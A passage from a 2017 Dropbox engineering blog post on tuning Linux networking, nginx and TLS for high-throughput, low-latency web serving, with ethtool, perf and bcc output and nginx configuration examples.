need to reduce the number of queues to fit into a single node (this usually implies cutting their number in half with ethtool -L). Vendors usually provide scripts to do that, e.g. Intel has set_irq_affinity. Ring buffer sizes Network cards need to exchange information with the kernel. This is usually done through a data structure called a “ring”, current/maximum size of that ring viewed via ethtool -g: $ ethtool -g eth0 Ring parameters for eth0: Pre-set maximums: RX: 4096 TX: 4096 Current hardware settings: RX: 4096 TX: 4096 You can adjust these values within pre-set maximums with -G. Generally bigger is better here (esp. if you are using interrupt coalescing), since it will give you more protection against bursts and in-kernel hiccups, therefore reducing amount of dropped packets due to no buffer space/missed interrupt. But there are couple of caveats: On older kernels, or drivers without BQL support, high values may attribute to a higher bufferbloat on the tx-side. Bigger buffers will also increase cache pressure, so if you are experiencing one, try lowing them. Coalescing Interrupt coalescing allows you to delay notifying the kernel about new events by aggregating multiple events in a single interrupt. Current setting can be viewed via ethtool -c: $ ethtool -c eth0 Coalesce parameters for eth0: ... rx-usecs: 50 tx-usecs: 50 You can either go with static limits, hard-limiting maximum number of interrupts per second per core, or depend on the hardware to automatically adjust the interrupt rate based on the throughput. Enabling coalescing (with -C) will increase latency and possibly introduce packet loss, so you may want to avoid it for latency sensitive. On the other hand, disabling it completely may lead to interrupt throttling and therefore limit your performance. Offloads Modern network cards are relatively smart and can offload a great deal of work to either hardware or emulate that offload in drivers themselves. All possible offloads can be obtained with ethtool -k: $ ethtool -k eth0 Features for eth0: ... tcp-segmentation-offload: on generic-segmentation-offload: on generic-receive-offload: on large-receive-offload: off [fixed] In the output all non-tunable offloads are marked with [fixed] suffix. There is a lot to say about all of them, but here are some rules of thumb: do not enable LRO, use GRO instead. be cautious about TSO, since it highly depends on the quality of your drivers/firmware. do not enable TSO/GSO on old kernels, since it may lead to excessive bufferbloat. **** Packet Steering All modern NICs are optimized for multi-core hardware, therefore they internally split packets into virtual queues, usually one-per CPU. When it is done in hardware it is called RSS, when the OS is responsible for loadbalancing packets across CPUs it is called RPS (with its TX-counterpart called XPS). When the OS also tries to be smart and route flows to the CPUs that are currently handling that socket, it is called RFS. When hardware does that it is called “Accelerated RFS” or aRFS for short. Here are couple of best practices from our production: If you are using newer 25G+ hardware it probably has enough queues and a huge indirection table to be able to just RSS across all your cores. Some older NICs have limitations of only utilizing the first 16 CPUs. You can try enabling RPS if: you have more CPUs than hardware queues and you want to sacrifice latency for throughput. you are using internal tunneling (e.g. GRE/IPinIP) that NIC can’t RSS; Do not enable RPS if your CPU is quite old and does not have x2APIC. Binding each CPU to its own TX queue through XPS is generally a good idea. Effectiveness of RFS is highly depended on your workload and whether you apply CPU affinity to it. Flow Director and ATR Enabled flow director (or fdir in Intel terminology) operates by default in an Application Targeting Routing mode which implements aRFS by sampling packets and steering flows to the core where they presumably are being handled. Its stats are also accessible through ethtool -S:$ ethtool -S eth0 | egrep ‘fdir’ port.fdir_flush_cnt: 0 … Though Intel claims that fdir increases performance in some cases, external research suggests that it can also introduce up to 1% of packet reordering, which can be quite damaging for TCP performance. Therefore try testing it for yourself and see if FD is useful for your workload, while keeping an eye for the TCPOFOQueue counter. Operating Systems: Network Stack There are countless books, videos, and tutorials for the tuning the Linux networking stack. And sadly tons of “sysctl.conf cargo-culting” that comes with them. Even though recent kernel versions do not require as much tuning as they used to 10 years ago and most of the new TCP/IP features are enabled and well-tuned by default, people are still copy-pasting their old sysctls.conf that they’ve used to tune 2.6.18/2.6.32 kernels. To verify effectiveness of network-related optimizations you should: Collect system-wide TCP metrics via /proc/net/snmp and /proc/net/netstat. Aggregate per-connection metrics obtained either from ss -n --extended --info, or from calling getsockopt(TCP_INFO)/getsockopt(TCP_CC_INFO) inside your webserver. tcptrace(1)’es of sampled TCP flows. Analyze RUM metrics from the app/browser. For sources of information about network optimizations, I usually enjoy conference talks by CDN-folks since they generally know what they are doing, e.g. Fastly on LinuxCon Australia. Listening what Linux kernel devs say about networking is quite enlightening too, for example netdevconf talks and NETCONF transcripts. It worth highlighting good deep-dives into Linux networking stack by PackageCloud, especially since they put an accent on monitoring instead of blindly tuning things: Monitoring and Tuning the Linux Networking Stack: Receiving Data Monitoring and Tuning the Linux Networking Stack: Sending Data Before we start, let me state it one more time: upgrade your kernel! There are tons of new network stack improvements, and I’m not even talking about IW10 (which is so 2010). I am talking about new hotness like: TSO autosizing, FQ, pacing, TLP, and RACK, but more on that later. As a bonus by upgrading to a new kernel you’ll get a bunch of scalability improvements, e.g.: removed routing cache, lockless listen sockets, SO_REUSEPORT, and many more. Overview From the recent Linux networking papers the one that stands out is “Making Linux TCP Fast.” It manages to consolidate multiple years of Linux kernel improvements on 4 pages by breaking down Linux sender-side TCP stack into functional pieces: Fair Queueing and Pacing Fair Queueing is responsible for improving fairness and reducing head of line blocking between TCP flows, which positively affects packet drop rates. Pacing schedules packets at rate set by congestion control equally spaced over time, which reduces packet loss even further, therefore increasing throughput. As a side note: Fair Queueing and Pacing are available in linux via fq qdisc. Some of you may know that these are a requirement for BBR (not anymore though), but both of them can be used with CUBIC, yielding up to 15-20% reduction in packet loss and therefore better throughput on loss-based CCs. Just don’t use it in older kernels (< 3.19), since you will end up pacing pure ACKs and cripple your uploads/RPCs. TSO autosizing and TSQ Both of these are responsible for limiting buffering inside the TCP stack and hence reducing latency, without sacrificing throughput. Congestion Control CC algorithms are a huge subject by itself, and there was a lot of activity around them in recent years. Some of that activity was codified as: tcp_cdg (CAIA), tcp_nv (Facebook), and tcp_bbr (Google). We won’t go too deep into discussing their inner-workings, let’s just say that all of them rely more on delay increases than packet drops for a congestion indication. BBR is arguably the most well-documented, tested, and practical out of all new congestion controls. The basic idea is to create a model of the network path based on packet delivery rate and then execute control loops to maximize bandwidth while minimizing rtt. This is exactly what we are looking for in our proxy stack. Preliminary data from BBR experiments on our Edge PoPs shows an increase of file download speeds: 6 hour TCP BBR experiment in Tokyo PoP: x-axis — time, y-axis — client download speed Here I want to stress out that we observe speed increase across all percentiles. That is not the case for backend changes. These usually only benefit p90+ users (the ones with the fastest internet connectivity), since we consider everyone else being bandwidth-limited already. Network-level tunings like changing congestion control or enabling FQ/pacing show that users are not being bandwidth-limited but, if I can say this, they are “TCP-limited.” If you want to know more about BBR, APNIC has a good entry-level overview of BBR (and its comparison to loss-based congestions controls). For more in-depth information on BBR you probably want to read through bbr-dev mailing list archives (it has a ton of useful links pinned at the top). For people interested in congestion control in general it may be fun to follow Internet Congestion Control Research Group activity. ACK Processing and Loss Detection But enough about congestion control, let’s talk about let’s talk about loss detection, here once again running the latest kernel will help quite a bit. New heuristics like TLP and RACK are constantly being added to TCP, while the old stuff like FACK and ER is being retired. Once added, they are enabled by default so you do not need to tune any system settings after the upgrade. Userspace prioritization and HOL Userspace socket APIs provide implicit buffering and no way to re-order chunks once they are sent, therefore in multiplexed scenarios (e.g. HTTP/2) this may result in a HOL blocking, and inversion of h2 priorities. TCP_NOTSENT_LOWAT socket option (and corresponding net.ipv4.tcp_notsent_lowat sysctl) were designed to solve this problem by setting a threshold at which the socket considers itself writable (i.e. epoll will lie to your app). This can solve problems with HTTP/2 prioritization, but it can also potentially negatively affect throughput, so you know the drill—test it yourself. Sysctls One does not simply give a networking optimization talk without mentioning sysctls that need to be tuned. But let me first start with the stuff you don’t want to touch: net.ipv4.tcp_tw_recycle=1—don’t use it—it was already broken for users behind NAT, but if you upgrade your kernel, it will be broken for everyone. net.ipv4.tcp_timestamps=0—don’t disable them unless you know all side-effects and you are OK with them. For example, one of non-obvious side effects is that you will loose window scaling and SACK options on syncookies. As for sysctls that you should be using: net.ipv4.tcp_slow_start_after_idle=0—the main problem with slowstart after idle is that “idle” is defined as one RTO, which is too small. net.ipv4.tcp_mtu_probing=1—useful if there are ICMP blackholes between you and your clients (most likely there are). net.ipv4.tcp_rmem, net.ipv4.tcp_wmem—should be tuned to fit BDP, just don’t forget that bigger isn’t always better. echo 2 > /sys/module/tcp_cubic/parameters/hystart_detect—if you are using fq+cubic, this might help with tcp_cubic exiting the slow-start too early. It also worth noting that there is an RFC draft (though a bit inactive) from the author of curl, Daniel Stenberg, named TCP Tuning for HTTP, that tries to aggregate all system tunings that may be beneficial to HTTP in a single place. Application level: Midlevel Tooling Just like with the kernel, having up-to-date userspace is very important. You should start with upgrading your tools, for example you can package newer versions of perf, bcc, etc. Once you have new tooling you are ready to properly tune and observe the behavior of a system. Through out this part of the post we’ll be mostly relying on on-cpu profiling with perf top, on-CPU flamegraphs, and adhoc histograms from bcc’s funclatency. Compiler Toolchain Having a modern compiler toolchain is essential if you want to compile hardware-optimized assembly, which is present in many libraries commonly used by web servers. Aside from the performance, newer compilers have new security features (e.g. -fstack-protector-strong or SafeStack) that you want to be applied on the edge. The other use case for modern toolchains is when you want to run your test harnesses against binaries compiled with sanitizers (e.g. AddressSanitizer, and friends). System libraries It’s also worth upgrading system libraries, like glibc, since otherwise you may be missing out on recent optimizations in low-level functions from -lc, -lm, -lrt, etc. Test-it-yourself warning also applies here, since occasional regressions creep in. Zlib Normally web server would be responsible for compression. Depending on how much data is going though that proxy, you may occasionally see zlib’s symbols in perf top, e.g.: # perf top ... 8.88% nginx [.] longest_match 8.29% nginx [.] deflate_slow 1.90% nginx [.] compress_block There are ways of optimizing that on the lowest levels: both Intel and Cloudflare, as well as a standalone zlib-ng project, have their zlib forks which provide better performance by utilizing new instructions sets. Malloc We’ve been mostly CPU-oriented when discussing optimizations up until now, but let’s switch gears and discuss memory-related optimizations. If you use lots of Lua with FFI or heavy third party modules that do their own memory management, you may observe increased memory usage due to fragmentation. You can try solving that problem by switching to either jemalloc or tcmalloc. Using custom malloc also has the following benefits: Separating your nginx binary from the environment, so that glibc version upgrades and OS migration will affect it less. Better introspection, profiling and stats. ## PCRE If you use many complex regular expressions in your nginx configs or heavily rely on Lua, you may see pcre-related symbols in perf top. You can optimize that by compiling PCRE with JIT, and also enabling it in nginx via pcre_jit on;. You can check the result of optimization by either looking at flame graphs, or using funclatency: # funclatency /srv/nginx-bazel/sbin/nginx:ngx_http_regex_exec -u ... usecs : count distribution 0 -> 1 : 1159 |********** | 2 -> 3 : 4468 |****************************************| 4 -> 7 : 622 |***** | 8 -> 15 : 610 |***** | 16 -> 31 : 209 |* | 32 -> 63 : 91 | | TLS If you are terminating TLS on the edge w/o being fronted by a CDN, then TLS performance optimizations may be highly valuable. When discussing tunings we’ll be mostly focusing server-side efficiency. So, nowadays first thing you need to decide is which TLS library to use: Vanilla OpenSSL, OpenBSD’s LibreSSL, or Google’s BoringSSL. After picking the TLS library flavor, you need to properly build it: OpenSSL for example has a bunch of built-time heuristics that enable optimizations based on build environment; BoringSSL has deterministic builds, but sadly is way more conservative and just disables some optimizations by default. Anyway, here is where choosing a modern CPU should finally pay off: most TLS libraries can utilize everything from AES-NI and SSE to ADX and AVX512. You can use built-in performance tests that come with your TLS library, e.g. in BoringSSL case it’s the bssl speed. Most of performance comes not from the hardware you have, but from cipher-suites you are going to use, so you have to optimize them carefully. Also know that changes here can (and will!) affect security of your web server—the fastest ciphersuites are not necessarily the best. If unsure what encryption settings to use, Mozilla SSL Configuration Generator is a good place to start. Asymmetric Encryption If your service is on the edge, then you may observe a considerable amount of TLS handshakes and therefore have a good chunk of your CPU consumed by the asymmetric crypto, making it an obvious target for optimizations. To optimize server-side CPU usage you can switch to ECDSA certs, which are generally 10x faster than RSA. Also they are considerably smaller, so it may speedup handshake in presence of packet-loss. But ECDSA is also heavily dependent on the quality of your system’s random number generator, so if you are using OpenSSL, be sure to have enough entropy (with BoringSSL you do not need to worry about that). As a side note, it worth mentioning that bigger is not always better, e.g. using 4096 RSA certs will degrade your performance by 10x: $ bssl speed Did 1517 RSA 2048 signing ... (1507.3 ops/sec) Did 160 RSA 4096 signing ... (153.4 ops/sec) To make it worse, smaller isn’t necessarily the best choice either: by using non-common p-224 field for ECDSA you’ll get 60% worse performance compared to a more common p-256: $ bssl speed Did 7056 ECDSA P-224 signing ... (6831.1 ops/sec) Did 17000 ECDSA P-256 signing ... (16885.3 ops/sec) The rule of thumb here is that the most commonly used encryption is generally the most optimized one. When running properly optimized OpenTLS-based library using RSA certs, you should see the following traces in your perf top: AVX2-capable, but not ADX-capable boxes (e.g. Haswell) should use AVX2 codepath: 6.42% nginx [.] rsaz_1024_sqr_avx2 1.61% nginx [.] rsaz_1024_mul_avx2 While newer hardware should use a generic montgomery multiplication with ADX codepath: 7.08% nginx [.] sqrx8x_internal 2.30% nginx [.] mulx4x_internal Symmetric Encryption If you have lot’s of bulk transfers like videos, photos, or more generically files, then you may start observing symmetric encryption symbols in profiler’s output. Here you just need to make sure that your CPU has AES-NI support and you set your server-side preferences for AES-GCM ciphers. Properly tuned hardware should have following in perf top: 8.47% nginx [.] aesni_ctr32_ghash_6x But it’s not only your servers that will need to deal with encryption/decryption—your clients will share the same burden on a way less capable CPU. Without hardware acceleration this may be quite challenging, therefore you may consider using an algorithm that was designed to be fast without hardware acceleration, e.g. ChaCha20-Poly1305. This will reduce TTLB for some of your mobile clients. ChaCha20-Poly1305 is supported in BoringSSL out of the box, for OpenSSL 1.0.2 you may consider using Cloudflare patches. BoringSSL also supports “equal preference cipher groups,” so you may use the following config to let clients decide what ciphers to use based on their hardware capabilities (shamelessly stolen from cloudflare/sslconfig): ssl_ciphers '[ECDHE-ECDSA-AES128-GCM-SHA256|ECDHE-ECDSA-CHACHA20-POLY1305|ECDHE-RSA-AES128-GCM-SHA256|ECDHE-RSA-CHACHA20-POLY1305]:ECDHE+AES128:RSA+AES128:ECDHE+AES256:RSA+AES256:ECDHE+3DES:RSA+3DES'; ssl_prefer_server_ciphers on; Application level: Highlevel To analyze effectiveness of your optimizations on that level you will need to collect RUM data. In browsers you can use Navigation Timing APIs and Resource Timing APIs. Your main metrics are TTFB and TTV/TTI. Having that data in an easily queriable and graphable formats will greatly simplify iteration. Compression Compression in nginx starts with mime.types file, which defines default correspondence between file extension and response MIME type. Then you need to define what types you want to pass to your compressor with e.g. gzip_types. If you want the complete list you can use mime-db to autogenerate your mime.types and to add those with .compressible == true to gzip_types. When enabling gzip, be careful about two aspects of it: Increased memory usage. This can be solved by limiting gzip_buffers. Increased TTFB due to the buffering. This can be solved by using [gzip_no_buffer]. As a side note, http compression is not limited to gzip exclusively: nginx has a third party ngx_brotli module that can improve compression ratio by up to 30% compared to gzip. As for compression settings themselves, let’s discuss two separate use-cases: static and dynamic data. For static data you can archive maximum compression ratios by pre-compressing your static assets as a part of the build process. We discussed that in quite a detail in the Deploying Brotli for static content post for both gzip and brotli. For dynamic data you need to carefully balance a full roundtrip: time to compress the data + time to transfer it + time to decompress on the client. Therefore setting the highest possible compression level may be unwise, not only from CPU usage perspective, but also from TTFB. ## Buffering Buffering inside the proxy can greatly affect web server performance, especially with respect to latency. The nginx proxy module has various buffering knobs that are togglable on a per-location basis, each of them is useful for its own purpose. You can separately control buffering in both directions via proxy_request_buffering and proxy_buffering. If buffering is enabled the upper limit on memory consumption is set by client_body_buffer_size and proxy_buffers, after hitting these thresholds request/response is buffered to disk. For responses this can be disabled by setting proxy_max_temp_file_size to 0. Most common approaches to buffering are: Buffer request/response up to some threshold in memory and then overflow to disk. If request buffering is enabled, you only send a request to the backend once it is fully received, and with response buffering, you can instantaneously free a backend thread once it is ready with the response. This approach has the benefits of improved throughput and backend protection at the cost of increased latency and memory/io usage (though if you use SSDs that may not be much of a problem). No buffering. Buffering may not be a good choice for latency sensitive routes, especially ones that use streaming. For them you may want to disable it, but now your backend needs to deal with slow clients (incl. malicious slow-POST/slow-read kind of attacks). Application-controlled response buffering through the X-Accel-Buffering header. Whatever path you choose, do not forget to test its effect on both TTFB and TTLB. Also, as mentioned before, buffering can affect IO usage and even backend utilization, so keep an eye out for that too. TLS Now we are going to talk about high-level aspects of TLS and latency improvements that could be done by properly configuring nginx. Most of the optimizations I’ll be mentioning are covered in the High Performance Browser Networking’s “Optimizing for TLS” section and Making HTTPS Fast(er) talk at nginx.conf 2014. Tunings mentioned in this part will affect both performance and security of your web server, if unsure, please consult with Mozilla’s Server Side TLS Guide and/or your Security Team. To verify the results of optimizations you can use: WebpageTest for impact on performance. SSL Server Test from Qualys, or Mozilla TLS Observatory for impact on security. Session resumption As DBAs love to say “the fastest query is the one you never make.” The same goes for TLS—you can reduce latency by one RTT if you cache the result of the handshake. There are two ways of doing that: You can ask the client to store all session parameters (in a signed and encrypted way), and send it to you during the next handshake (similar to a cookie). On the nginx side this is configured via the ssl_session_tickets directive. This does not not consume any memory on the server-side but has a number of downsides: You need the infrastructure to create, rotate, and distribute random encryption/signing keys for your TLS sessions. Just remember that you really shouldn’t 1) use source control to store ticket keys 2) generate these keys from other non-ephemeral material e.g. date or cert. PFS won’t be on a per-session basis but on a per-tls-ticket-key basis, so if an attacker gets a hold of the ticket key, they can potentially decrypt any captured traffic for the duration of the ticket. Your encryption will be limited to the size of your ticket key. It does not make much sense to use AES256 if you are using 128-bit ticket key. Nginx supports both 128 bit and 256 bit TLS ticket keys. Not all clients support ticket keys (all modern browsers do support them though). Or you can store TLS session parameters on the server and only give a reference (an id) to the client. This is done via the ssl_session_cache directive. It has a benefit of preserving PFS between sessions and greatly limiting attack surface. Though ticket keys have downsides: They consume ~256 bytes of memory per session on the server, which means you can’t store many of them for too long. They can not be easily shared between servers. Therefore you either need a loadbalancer which will send the same client to the same server to preserve cache locality, or write a distributed TLS session storage on top off something like ngx_http_lua_module. As a side note, if you go with session ticket approach, then it’s worth using 3 keys instead of one, e.g.: ssl_session_tickets on; ssl_session_timeout 1h; ssl_session_ticket_key /run/nginx-ephemeral/nginx_session_ticket_curr; ssl_session_ticket_key /run/nginx-ephemeral/nginx_session_ticket_prev; ssl_session_ticket_key /run/nginx-ephemeral/nginx_session_ticket_next; You will be always encrypting with the current key, but accepting sessions encrypted with both next and previous keys. OCSP Stapling You should staple your OCSP responses, since otherwise: Your TLS handshake may take longer because the client will need to contact the certificate authority to fetch OCSP status. On OCSP fetch failure may result in availability hit. You may compromise users’ privacy since their browser will contact a third party service indicating that they want to connect to your site. To staple the OCSP response you can periodically fetch it from your certificate authority, distribute the result to your web servers, and use it with the ssl_stapling_file directive: ssl_stapling_file /var/cache/nginx/ocsp/www.der; TLS record size TLS breaks data into chunks called records, which you can’t verify and decrypt until you receive it in its entirety. You can measure this latency as the difference between TTFB from the network stack and application points of view. By default nginx uses 16k chunks, which do not even fit into IW10 congestion window, therefore require an additional roundtrip. Out-of-the box nginx provides a way to set record sizes via ssl_buffer_size directive: To optimize for low latency you should set it to something small, e.g. 4k. Decreasing it further will be more expensive from a CPU usage perspective. To optimize for high throughput you should leave it at 16k. There are two problems with static tuning: You need to tune it manually. You can only set ssl_buffer_size on a per-nginx config or per-server block basis, therefore if you have a server with mixed latency/throughput workloads you’ll need to compromize. There is an alternative approach: dynamic record size tuning. There is an nginx patch from Cloudflare that adds support for dynamic record sizes. It may be a pain to initially configure it, but once you over with it, it works quite nicely. TLS 1.3 TLS 1.3 features indeed sound very nice, but unless you have resources to be troubleshooting TLS full-time I would suggest not enabling it, since: It is still a draft. 0-RTT handshake has some security implications. And your application needs to be ready for it. There are still middleboxes (antiviruses, DPIs, etc) that block unknown TLS versions. ## Avoid Eventloop Stalls Nginx is an eventloop-based web server, which means it can only do one thing at a time. Even though it seems that it does all of these things simultaneously, like in time-division multiplexing, all nginx does is just quickly switches between the events, handling one after another. It all works because handling each event takes only couple of microseconds. But if it starts taking too much time, e.g. because it requires going to a spinning disk, latency can skyrocket. If you start noticing that your nginx are spending too much time inside the ngx_process_events_and_timers function, and distribution is bimodal, then you probably are affected by eventloop stalls. # funclatency '/srv/nginx-bazel/sbin/nginx:ngx_process_events_and_timers' -m msecs : count distribution 0 -> 1 : 3799 |****************************************| 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 409 |**** | 32 -> 63 : 313 |*** | 64 -> 127 : 128 |* | AIO and Threadpools Since the main source of eventloop stalls especially on spinning disks is IO, you should probably look there first. You can measure how much you are affected by it by running fileslower: # fileslower 10 Tracing sync read/writes slower than 10 ms TIME(s) COMM TID D BYTES LAT(ms) FILENAME 2.642 nginx 69097 R 5242880 12.18 0002121812 4.760 nginx 69754 W 8192 42.08 0002121598 4.760 nginx 69435 W 2852 42.39 0002121845 4.760 nginx 69088 W 2852 41.83 0002121854 To fix this, nginx has support for offloading IO to a threadpool (it also has support for AIO, but native AIO in Unixes have lots of quirks, so better to avoid it unless you know what you doing). A basic setup consists of simply: aio threads; aio_write on; For more complicated cases you can set up custom thread_pool‘s, e.g. one per-disk, so that if one drive becomes wonky, it won’t affect the rest of the requests. Thread pools can greatly reduce the number of nginx processes stuck in D state, improving both latency and throughput. But it won’t eliminate eventloop stalls fully, since not all IO operations are currently offloaded to it. Logging Writing logs can also take a considerable amount of time, since it is hitting disks. You can check whether that’s that case by running ext4slower and looking for access/error log references: # ext4slower 10 TIME COMM PID T BYTES OFF_KB LAT(ms) FILENAME 06:26:03 nginx 69094 W 163070 634126 18.78 access.log 06:26:08 nginx 69094 W 151 126029 37.35 error.log 06:26:13 nginx 69082 W 153168 638728 159.96 access.log It is possible to workaround this by spooling access logs in memory before writing them by using buffer parameter for the access_log directive. By using gzip parameter you can also compress the logs before writing them to disk, reducing IO pressure even more. But to fully eliminate IO stalls on log writes you should just write logs via syslog, this way logs will be fully integrated with nginx eventloop. Open file cache Since open(2) calls are inherently blocking and web servers are routinely opening/reading/closing files it may be beneficial to have a cache of open files. You can see how much benefit there is by looking at ngx_open_cached_file function latency: # funclatency /srv/nginx-bazel/sbin/nginx:ngx_open_cached_file -u usecs : count distribution 0 -> 1 : 10219 |****************************************| 2 -> 3 : 21 | | 4 -> 7 : 3 | | 8 -> 15 : 1 | | If you see that either there are too many open calls or there are some that take too much time, you can can look at enabling open file cache: open_file_cache max=10000; open_file_cache_min_uses 2; open_file_cache_errors on; After enabling open_file_cache you can observe all the cache misses by looking at opensnoop and deciding whether you need to tune the cache limits: # opensnoop -n nginx PID COMM FD ERR PATH 69435 nginx 311 0 /srv/site/assets/serviceworker.js 69086 nginx 158 0 /srv/site/error/404.html ... Wrapping up All optimizations that were described in this post are local to a single web server box. Some of them improve scalability and performance. Others are relevant if you want to serve requests with minimal latency or deliver bytes faster to the client. But in our experience a huge chunk of user-visible performance comes from a more high-level optimizations that affect behavior of the Dropbox Edge Network as a whole, like ingress/egress traffic engineering and smarter Internal Load Balancing. These problems are on the edge (pun intended) of knowledge, and the industry has only just started approaching them. If you’ve read this far you probably want to work on solving these and other interesting problems! You’re in luck: Dropbox is looking for experienced SWEs, SREs, and Managers. Source: https://blogs.dropbox.com/tech/2017/09/optimizing-web-servers-for-high-throughput-and-low-latency/